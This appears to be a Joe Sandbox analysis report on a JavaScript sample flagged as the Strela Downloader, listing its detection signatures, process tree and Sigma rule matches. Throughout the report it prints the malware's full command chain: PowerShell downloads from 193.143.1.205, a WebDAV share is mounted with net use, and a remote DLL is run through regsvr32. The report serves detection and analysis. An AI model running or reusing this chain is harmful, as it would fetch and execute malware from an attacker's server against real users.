Edit tour

Windows Analysis Report
280109871157958128.js

Overview

General Information

Sample name:	280109871157958128.js
Analysis ID:	1587834
MD5:	3f6d18ac4fc9ad1d160ba058e289e1bb
SHA1:	34e845c9b86d052a9f49f065053122f741bdef32
SHA256:	04e2d20d7f077c6c815ebcbbf3900909ab4524db35627565e1d2a601f4b1f9ad
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7976 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\280109871157958128.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 8076 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8120 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7472 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5888 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8072 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1772,i,10236727431777352891,15663673064347351715,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7624 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6268 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4940 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7976	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8076, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8120, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8076, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8120, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\280109871157958128.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\280109871157958128.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\280109871157958128.js", ProcessId: 7976, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\280109871157958128.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7976, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, ProcessId: 8076, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\280109871157958128.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7976, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, ProcessId: 8076, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\280109871157958128.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7976, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, ProcessId: 8076, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\280109871157958128.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7976, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, ProcessId: 8076, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\280109871157958128.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7976, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, ProcessId: 8076, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\280109871157958128.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\280109871157958128.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\280109871157958128.js", ProcessId: 7976, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8076, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8120, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7624, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6268, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4940, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7624, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6268, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\280109871157958128.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7976, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, ProcessId: 8076, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 280109871157958128.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 280109871157958128.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000002.1306732832.0000018FC3659000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1306986265.0000018FC506F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1372561463.000001F0B8BF8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1363134374.000001F0B8C4E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1368171290.000001F0B8C28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1372775924.000001F0B8C21000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1368171290.000001F0B8C21000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1372775924.000001F0B8C28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1372899458.000001F0B8C50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1368171290.000001F0B8C28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1372775924.000001F0B8C28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/A
Source: net.exe, 00000007.00000003.1368171290.000001F0B8C28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1372775924.000001F0B8C28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/F
Source: net.exe, 00000007.00000002.1372561463.000001F0B8BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/~
Source: svchost.exe, 00000009.00000002.2584084045.0000015618612000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F8008506.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1372101604.00000156184A0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7976, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 280109871157958128.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8084:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k5tkzpwh.s43.ps1

Jump to behavior

